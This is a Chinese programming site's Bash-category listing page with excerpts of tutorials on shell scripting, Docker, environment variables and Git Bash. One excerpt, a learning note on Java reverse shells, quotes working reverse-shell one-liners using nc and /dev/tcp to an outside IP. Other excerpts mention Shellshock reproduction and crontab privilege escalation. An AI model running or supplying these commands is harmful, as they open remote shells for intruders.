手机版
热门标签
站点地图
我要投稿
广告合作
联系我们
搜 索
广告位招租
广告位招租
切换导航
首页
编程教程
编程导航
编程百科
编程问答
编程博文
编程实例
硬件设备
网络运营
软件教程
移动数码
办公软件
操作系统
人工智能
栏目导航
▸ 编程语言
▸ 前端开发
▸ 移动开发
▸ 开发工具
▸ 程序设计
▸ 行业应用
▸ CMS系统
▸ 服务器
▸ 数据库
公众号推荐
微信公众号搜
"智元新知"
关注
微信扫一扫可直接关注哦!
子栏目导航
Linux
Windows
CentOS
Ubuntu
Nginx
WebService
Scala
Memcache
Apache
Redis
Docker
Bash
Azure
Tomcat
LNMP
Shell
Ansible
KVM虚拟机
数据结构
鸿蒙系统
宝塔面板
服务器运维
网络安全
编程之家
Bash
Shell---第四天
1.使用case实现成绩优良中差的判断[root@localhost~]#vimscore.sh#!/bin/bashread-p"请输入成绩:"scorecase$scorein[0-5][0-9])echo"差!";;6[0-9])echo"中";;[7-8][0-9])echo"良";;
作者:编程之家 时间:2022-09-02
SHELL之每天每天一小练二
题目:1、取出/etc/inittab文件的第6行;2、取出当前系统上所有用户的shell,要求,每种shell只显示一次,并且按顺序进行显示;使用cut、sort结合管道实现3、如果/var/log/messages文件的行数大于100,就显示好大的文件4、显示/etc目录下所有以pa开头的文件,并统计其个数5、如果用户hado
作者:编程之家 时间:2022-09-02
【Python】终端输入python3,提示“command not found“歪??明明已经下载了
官网下载了python3.9后想要在终端打开,但是却提示“commandnotfound”,提示如下图
作者:编程之家 时间:2022-09-02
bash: ./***.sh: /bin/bash^M: bad interpreter: No such file or directory的解决方法
问题描述:在Linux下启动***.sh脚本,启动不了,提示如下:原因分析:一些人喜欢用vim来写linux命令,但是有的人喜欢在Windows下用一些方便的编辑器(如Notepad++)写好,然后拷贝文件到linux下,结果呢,在执行脚本的时候,就会出现上述的问题。验证猜想:使用vim***.sh进入***.sh这个
作者:编程之家 时间:2022-09-02
vulhub漏洞复现-bash shellshock(CVE-2014-6271)“破壳“任意命令执行
bashshellshockBash是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。Bash还能从文件中读取命令,这样的文件称为脚本。运作的整体流程是,HTTP请求->env环境变量设置函数处理请求头参数->bash对处理后的结果进行eval代码执行->bash将执行后的结果保留在HTTP
作者:编程之家 时间:2022-09-02
Linux之计划任务提权
目录一、Crontab介绍crontab-e与vim/etc/crontab二、Crontab提权总结实验环境:ubuntu20.4一、Crontab介绍通过crontab命令,我们可以在固定的间隔时间执行指定的系统指令或shellscript脚本。时间间隔的单位可以是分钟、小时、日、月、周的任意组合。这里看一看
作者:编程之家 时间:2022-09-02
docker exec + bash进入容器时报错
使用dockerexec+bash进入容器时报错由于镜像系统不一,使用错误shell解释器导致,可尝试以下其中一种方案。[root@localhosthome]#dockerexec-itcontainer-testbashOCIruntimeexecfailed:execfailed:container_linux.go:346:startingcontainerprocesscaused"exec:
作者:编程之家 时间:2022-09-02
-bash-4.2$ 家目录文件丢失
这几天给root分区扩容,结果扩容后登录系统就显示如下:-bash-4.2$这种情况表示用户的家目录,或家目录下配置用户文件丢失!查看账号家目录是否存在,提示如下-bash-4.2$ cd ~-bash: cd: /sbinologin: 不是目录需要重新创建家目录,并添加配置文件可以先cat/etc/passwd,查看
作者:编程之家 时间:2022-09-02
nvm安装与卸载
nvmnode版本管理工具nvm删除brewuninstallbrew删除.nvm.npm.node等相关文件sudorm-rf/usr/local/libodesudorm-rf/usr/local/libode_modulesnvm安装nvm有两种安装方式,一种是通过brewinstallnvm,另一种方式通过命令拉取nvm相关源码命令,但是
作者:编程之家 时间:2022-09-02
bash编程控制语句
if比较两个变量的大小并输出不同的值if[$a-eq$b];thenecho“equal”;elif[$a-lt$b];thenecho“small”;elif[$a-gt$b];thenecho“big”;fifor循环读取文件内容并输出foriin$(catdir.txt);doecho$i;donewhile循环读取文件内容并输出whileread
作者:编程之家 时间:2022-09-02
Docker 基本管理
一、Docker 概述1、Docker 的概念Docker是一个开源的应用容器引擎,基于go语言开发并遵循了Apache2.0 协议开源Docker 是在Linux 容器里运行应用的开源工具,是一种轻量级的“虚拟机”Docker 的容器技术可以在一台主机上轻松为任何应用创建一个轻量级的、可移植的、自给
作者:编程之家 时间:2022-09-02
在Windows中将git bash配置在终端中
1、点击gitbash右键属性,可以复制其安装路径2、打开高级属性设置,设置环境变量3、在用户变量中点击path,新建或编辑。在gitbash安装路径中添加cmd.保存即可4、效果
作者:编程之家 时间:2022-09-02
一篇文章看懂Linux环境变量局部环境变量、全局环境变量、持久化环境变量
文章目录1环境变量概述1.1全局环境变量1.2局部环境变量2创建环境变量2.1局部环境变量2.2全局环境变量3删除环境变量4设置PATH环境变量4.1持久化环境变量4.1.1情况1:默认登录shell4.1.2情况2:为非登录shell的交互式shell4.1.3情况3:为运行脚本的非交互shell4.
作者:编程之家 时间:2022-09-02
Git Bash向GitHub上传本地项目
GitBash向GitHub上传本地项目1、初始化本地仓库在项目文件夹下打开Bash,输入命令:gitinit//初始化本地仓库 2、新增加测试文件输入命令:touch测试文件.txt//新建文件3、添加文件到本地仓库输入命令:gitadd.//添加所有文件到本地仓库4、提交所有文件输
作者:编程之家 时间:2022-09-02
【linux系统】命令学习六awk sed grep 与管道的使用
程序运行环境输入与输出标准输入0reada;echo$a标准输出1echocesh错误输出lsnotr 管道重定向管道与管道之间可以重定向管道与文件之间可以重定向用于写入 将错误的输出存进去 管道链接
作者:编程之家 时间:2022-09-02
Shell编程
1.变量#!/bin/bash#案例1:定义变量AA=100#输出变量需要加上$echoA=$Aecho"A=$A"#案例2:撤销变量AunsetAecho"A=$A"#案例3:声明静态的变量B=2,不能unsetreadonlyB=2echo"B=$B"#unsetB#将指令返回的结果赋给变量:<<!C=`date`D=$(date)echo"C=$C"ech
作者:编程之家 时间:2022-09-02
-bash: zip: command not found
-bash:zip:commandnotfound翻译过来就是:-bash:zip:命令未找到在网上搜索了下Linux安装"zip"命令的方式:yuminstallzip有个地方还会问你Isthisok,输入"y"回车就可以了,同样的"zip"命令都没有找到,解压命令应该也找不到,所以我就提前一步安装。解压命令:yuminstall
作者:编程之家 时间:2022-09-02
Java反弹shell小记(个人学习记录)
前言看到谢公子公众号推的一篇JDWP打点,看到如下形式的反弹shell,以前有记过。nc192.168.178.1293333|/bin/bash|nc192.168.178.1294444%sh-i>&/devcp/101.200.xx.xx/33330>&1|/bin/sh|sh-i>&/devcp/101.200.xx.xx/44440>&1%但是没理解,并且再看这篇推文
作者:编程之家 时间:2022-09-02
2021-11-13
Kafka服务器宕机文章目录Kafka服务器宕机前言一、挂机事件二、解决步骤1.登录服务器2.移动目录总结前言现在很多公司工具都分开部署,从而保证安全性。而且如果使用Docker安装Kafka集群的话,也需要把Kafka集群的服务器硬盘分配的大一些,因为很多服务的通信、
作者:编程之家 时间:2022-09-02
MAC下产生sudo:command not found
是因为环境变量设置错误1.在命令行中输入:exportPATH=/usr/bin:/usr/sbin:/bin:/sbin:/usr/X11R6/bin可以实现暂时的使用。2.输入cd~/#进入当前用户的home目录3.创建bash_profile执行命令:touch.bash_profile4.打开并编辑bash_profile执行命令:op
作者:编程之家 时间:2022-09-02
2021-11-17-N62040-刘进喜1
第一题按系列罗列Linux的发行版,并描述不同发行版之间的联系与区别。Redhat:面向企业用户的liunx操作系统。Centos:面向设备区企业操作系统是redhat的在编译版本。第二题ubuntu创建haha用户名及用haha用户登录useraddhahapasswdhaha123456ubuntu系统新建用户后属性为s
作者:编程之家 时间:2022-09-02
vscode 配置默认shell 使用 git-bash; vscode 默认文件保存,配合git使用,完美兼容linux编程环境
最近对需要用的论文,进行归档;但是在服务器上看pdf,写latex始终不是很方便。因为工作场所的环境是windows平台,所以今天基于git-bash配置了工作环境,现在将vscode自定义配置贴出来,方便之后参考;{"remote.SSH.remotePlatform":{"zju.yaowenxu.cn":"linux"},
作者:编程之家 时间:2022-09-02
GitBash解决中文乱码
GitBash解决中文乱码一、桌面右击,点击“GitBashHere”二、在弹出的黑窗口,右击,选择“options”三、在弹出的窗口,选择“Text”,修改如下值后,先点击“Apply”,再点击“Save”四、关闭窗口,重现打开“GitBash”,再次输入命令,发现乱码已经解决
作者:编程之家 时间:2022-09-02
Linux环境变量的加载顺序
先上结论: /etc/profile -> ~/.bash_profile->~/.bashrc -> /etc/bashrc -> ~/.bash_logout注:后面的变量会覆盖前面顺序的变量/etc/profile :这个文件预设了几个重要的变量,例如PATH,USER,LOGNAME,MAIL,INPUTRC,HOSTNAME,HISTSIZE,umask等等。/etc/bashrc
作者:编程之家 时间:2022-09-02
005、container (容器) 操作命令
一、容器操作1、查看所有容器dockerps-a 2、查看当前运行中的容器dockerps 3、创建容器(交互式)dockerrun-it--name=jenkins_skyjenkins/jenkins:lts/bin/bash-i:表示运行容器;-t:表示容器运行后进入命令行模式,可以输入指令交互;--name:给容器取个名字;j
作者:编程之家 时间:2022-09-02
Flutter基于Mac的环境配置
1、下载FlutterSDKgitclone https://github.com/flutter/flutter.git2、配置Flutter镜像+Flutter环境变量(先创建.bash_profile文件,再将Flutter镜像+Flutter环境变量添加到bash_profile文件中) 2.1配置Flutter镜像 2.1.1进入当前用户的home目录:cd~/ 2.1.2
作者:编程之家 时间:2022-09-02
win10安装k3d
k3d官网官网的安装说明写的很简单,并没有详细说明在win10的安装步骤,折腾半天终于搞定,步骤如下:1、WIN10上开启wsl22、下载安装好dockerdesktop,然后设置国内镜像库3、准备ubuntu容器安装k3d,有两种方式:第一种:可以从ubuntu官方镜像加载最新版的ubuntu。在win10的powershell中执
作者:编程之家 时间:2022-09-02
设置一个alias直接推到github
在本地编辑后推到github要有一个“三连”的动作,每次都这么操作真麻烦,于是加一个alias:执行如下命令进行编辑:vi~/.bash_profile添加如下内容:aliaspushall='gitadd.;gitcommit-m"update";gitpush'执行如下命令使其生效:source~/.bash_profile然后就可以只输入如下命
作者:编程之家 时间:2022-09-02
shell 脚本模板
#!/usr/bin/envbash#thissrciptistodowheat_bsa#authorlee#thisisfailtest,becausebashdidn'tcareaboutthefailureofcommand#thiscanpreventthesituationthatcheckresultofeachstep,onlyrightcangoonset-Eeuopipefail#displ
作者:编程之家 时间:2022-09-02
Mac 配置系统环境变量idea、maven等全
mac配置环境变量1.下载所需要的软件,例如:idea、mave2.例:下载maven 路径如图1所示3.下载完成,并得知路径为 "/Library/Java/apache-maven-3.8.3"4. 打开终端输入 open~/.bash_profile(若提示没有该文件则先创建:touch~/.bash_pro
作者:编程之家 时间:2022-09-02
上一页
100
101
102
103
104
105
106
107
下一页
小编推荐
热门标签
更多
python
JavaScript
java
HTML
reactjs
C#
Android
CSS
Node.js
sql
r
python-3.x
MysqL
jQuery
c++
pandas
Flutter
angular
IOS
django
linux
swift
typescript
路由器
JSON
路由器设置
无线路由器
h3c
华三
华三路由器设置
华三路由器
电脑软件教程
arrays
docker
软件图文教程
C
vue.js
laravel
spring-boot
react-native